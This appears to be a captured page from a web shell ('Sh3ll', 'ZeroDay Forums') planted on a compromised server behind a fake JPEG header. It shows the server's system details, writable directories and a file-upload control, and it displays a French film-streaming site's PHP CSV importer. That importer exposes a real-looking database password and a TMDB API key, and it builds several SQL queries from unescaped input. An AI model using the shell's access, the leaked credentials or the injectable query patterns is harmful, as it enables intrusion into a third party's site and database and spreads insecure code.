ÿŰÿàJFIFÿۄ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : LiteSpeed
System : Linux v2202501248978307069 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
User : voirf6718 ( 1002)
PHP Version : 7.3.33-1+focal
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Directory :  /home/voirfilmshd-gratuit.site/public_html/frembed/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/voirfilmshd-gratuit.site/public_html/frembed/process.php
<?php

// Connexion à la base de données
$conn = new mysqli(
    "localhost",
    "voir_films_user",
    "2Kf86+sO2ckuFJbh",
    "voir_voirfilmshd_bdd"
);

// VĂ©rifier la connexion
if ($conn->connect_error) {
    die("La connexion  la base de données a échoué : " . $conn->connect_error);
}

// Vérifier si un fichier a té soumis
if (isset($_FILES["csvFile"]) && $_FILES["csvFile"]["error"] == 0) {
    // Chemin du fichier temporaire
    $tmpFile = $_FILES["csvFile"]["tmp_name"];

    // Initialiser le numéro de ligne
    $lineNumber = 0;

    // Lire chaque ligne du fichier CSV
    if (($handle = fopen($tmpFile, "r")) !== false) {
        while (($data = fgetcsv($handle, 1000, ",")) !== false) {
            $lineNumber++; // Incrémenter le numéro de ligne

            $imdb = $data[0]; // La premiĂšre colonne contient l'IMDB
            $title = $data[1]; // La deuxiĂšme colonne contient le titre
            $title = mysqli_real_escape_string($conn, $title);

            $tmdbApiKey = "fc82e4ab371abe4311210ef9c79aaadd";
            $tmdbUrl = "https://api.themoviedb.org/3/find/$imdb?api_key=$tmdbApiKey&external_source=imdb_id&language=fr-FR";
            // https://api.themoviedb.org/3/find/tt0478130?api_key=fc82e4ab371abe4311210ef9c79aaadd&external_source=imdb_id&language=fr-FR
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $tmdbUrl);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            $tmdbResponse = curl_exec($ch);
            curl_close($ch);
            // VĂ©rifier si la requĂȘte a rĂ©ussi
            if ($tmdbResponse) {
                $tmdbData = json_decode($tmdbResponse, true);

                // VĂ©rifier s'il y a des rsultats de film
                if (
                    isset($tmdbData["movie_results"]) &&
                    count($tmdbData["movie_results"]) > 0
                ) {
                    $movieData = $tmdbData["movie_results"][0];

                
                    $title = $movieData["title"];
                    $title =  mysqli_real_escape_string(
                                    $conn,
                                    $title
                                );
                    

                    
                    $checkIfExists = "SELECT id FROM poster_table WHERE title = '$title'";
                    $result = $conn->query($checkIfExists);

                    if ($result->num_rows > 0) {
                        $row = $result->fetch_assoc();
                        $selectedId = $row["id"];

                        $sql =
                            "UPDATE poster_table SET imdb_id = ? WHERE title = ?";
                        $stmt = $conn->prepare($sql);
                        $stmt->bind_param("ss", $imdb, $title);
                        $stmt->execute();
                        $stmt->close();

                        $url = "https://frembed.fun/api/film.php?id=" . $imdb;

                        //echo "DĂ©tails du film : ID - $selectedId<br>";

                        // Maintenant, vous pouvez insérer des données dans source_table
                        $insertSourceSql = "INSERT INTO source_table (poster_id, type, url, quality, kind)
                                    VALUES (?, 'embed', ?, 'Multi', 'play')";
                        $stmtInsertSource = $conn->prepare($insertSourceSql);
                        $stmtInsertSource->bind_param("ss", $selectedId, $url);
                        $stmtInsertSource->execute();
                        $stmtInsertSource->close();

                        echo "Mise à jour effectuée avec succÚs pour le film : $title (ligne $lineNumber)<br>";
                    } else {
                        //  echo "titre n'existe pas dans l'application <br>";

                        // Effectuer la requĂȘte sur l'API TMDB si la mise Ă  jour a chouĂ©
                        $tmdbApiKey = "fc82e4ab371abe4311210ef9c79aaadd";
                        $tmdbUrl = "https://api.themoviedb.org/3/find/$imdb?api_key=$tmdbApiKey&external_source=imdb_id&language=fr-FR";
                        // https://api.themoviedb.org/3/find/tt0478130?api_key=fc82e4ab371abe4311210ef9c79aaadd&external_source=imdb_id&language=fr-FR
                        $ch = curl_init();
                        curl_setopt($ch, CURLOPT_URL, $tmdbUrl);
                        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                        $tmdbResponse = curl_exec($ch);
                        curl_close($ch);

                        // VĂ©rifier si la requĂȘte a rĂ©ussi
                        if ($tmdbResponse) {
                            $tmdbData = json_decode($tmdbResponse, true);

                            // VĂ©rifier s'il y a des rsultats de film
                            if (
                                isset($tmdbData["movie_results"]) &&
                                count($tmdbData["movie_results"]) > 0
                            ) {
                                $movieData = $tmdbData["movie_results"][0];

                                // Récupérer les données du film TMDB
                                $imdbCover =
                                    "https://www.themoviedb.org/t/p/w600_and_h900_bestv2" .
                                    $movieData["poster_path"];
                                $imdbCover_media = ltrim(
                                    $movieData["poster_path"],
                                    "/"
                                );
                                $title = $movieData["title"];
                                $releaseDate = $movieData["release_date"];
                                $overview = $movieData["overview"];
                                $voteAverage = number_format(
                                    $movieData["vote_average"],
                                    1
                                );

                                // Extraire l'anne de la date de sortie
                                $year = date("Y", strtotime($releaseDate));

                                // Autres données à ajouter à votre base de données
                                $posterFrom = "Frembed";
                                $playas = 1;
                                $downloadas = 0;
                                $type = "movie";
                                $rating =
                                    number_format(
                                        $movieData["vote_average"],
                                        1
                                    ) / 2;
                                $imdb_rate = number_format(
                                    $movieData["vote_average"],
                                    1
                                );
                                $description = mysqli_real_escape_string(
                                    $conn,
                                    $overview
                                );
                                $title = mysqli_real_escape_string(
                                    $conn,
                                    $title
                                );
                                $create = $releaseDate;
                                $currentTime = date("H:i:s");

                                // Concaténez la date et l'heure
                                $completeDateTime =
                                    $releaseDate . " " . $currentTime;

                                $views = 0;
                                $shares = 0;
                                $downloads = 0;
                                $comment = 1;
                                $enabled = 1;

                                // Slug : convertir en minuscules et remplacer les espaces par "-"
                                $slug = strtolower(
                                    str_replace(" ", "-", $title)
                                );

                                // RequĂȘte SQL pour ajouter les donnĂ©es dans la table media_poster

                                $insertMediaSql = "INSERT INTO media_table (titre, url, type, extension, date, enabled)
                            VALUES ('$imdbCover_media', '$imdbCover_media', 'image/jpg', 'jpg', '$releaseDate', 1)";
                                // Excutez la requte
                                if ($conn->query($insertMediaSql) === true) {
                                    // Récupérez l'ID généré
                                    $mediaPosterId = $conn->insert_id;

                                    // RequĂȘte SQL pour ajouter les donnĂ©es dans la base de donnes
                                    $sql = "INSERT INTO poster_table (imdb_id, posted_id, imdb_cover, poster_from, title, playas, downloadas, type, rating,imdb, year, description, created, views, shares, downloads, comment, enabled, slug)
                                    VALUES ('$imdb', $mediaPosterId, '$imdbCover', '$posterFrom', '$title', $playas, $downloadas, '$type', $rating, $imdb_rate, $year, '$description', '$completeDateTime', $views, $shares, $downloads, $comment, $enabled, '$slug')";

                                    if ($conn->query($sql) === true) {
                                        echo "Données du film ajoutées avec succÚs pour le film : $title (ligne $lineNumber)<br>";
                                        $posterId = $conn->insert_id;
                                        $url =
                                            "https://frembed.fun/api/film.php?id=" .
                                            $imdb;

                                        $sqlInertSource = "INSERT INTO source_table (poster_id, type, url, quality, kind) 
                                 VALUES ('$posterId','embed','$url','Multi','play')";
                                        if (
                                            $conn->query($sqlInertSource) ===
                                            true
                                        ) {
                                        } else {
                                            echo "Erreur lors de l'ajout de la source pour le film (ligne $lineNumber) : " .
                                                $conn->error .
                                                "<br>";
                                        }

                                        if (!is_dir("img")) {
                                            mkdir("img");
                                        }
                                        $localFilePath =
                                            "img/" . basename($imdbCover);
                                        file_put_contents(
                                            $localFilePath,
                                            file_get_contents($imdbCover)
                                        );
                                    } else {
                                        echo "Erreur lors de l'ajout des données du film (ligne $lineNumber) : " .
                                            $conn->error .
                                            "<br>";
                                    }
                                } else {
                                    echo "Erreur lors de l'ajout des données du média : " .
                                        $conn->error;
                                }
                            } else {
                                echo "Aucun résultat de film trouvé pour IMDB ID : $imdb<br>";
                            }
                        } else {
                            echo "Erreur lors de la requĂȘte vers l'API TMDB pour IMDB ID : $imdb<br>";
                        }
                    }
                } else {
                    echo "Aucun résultat de film trouvé pour IMDB ID : $imdb<br>";
                }
            } else {
                echo "Erreur lors de la requĂȘte vers l'API TMDB pour IMDB ID : $imdb<br>";
            }
        }

        // Fermer le fichier CSV
        fclose($handle);
    } else {
        echo "Erreur lors de l'ouverture du fichier CSV";
    }
} else {
    echo "Aucun fichier soumis ou une erreur s'est produite lors du téléchargement.";
}

// Fermer la connexion à la base de données
$conn->close();

?>

ZeroDay Forums Mini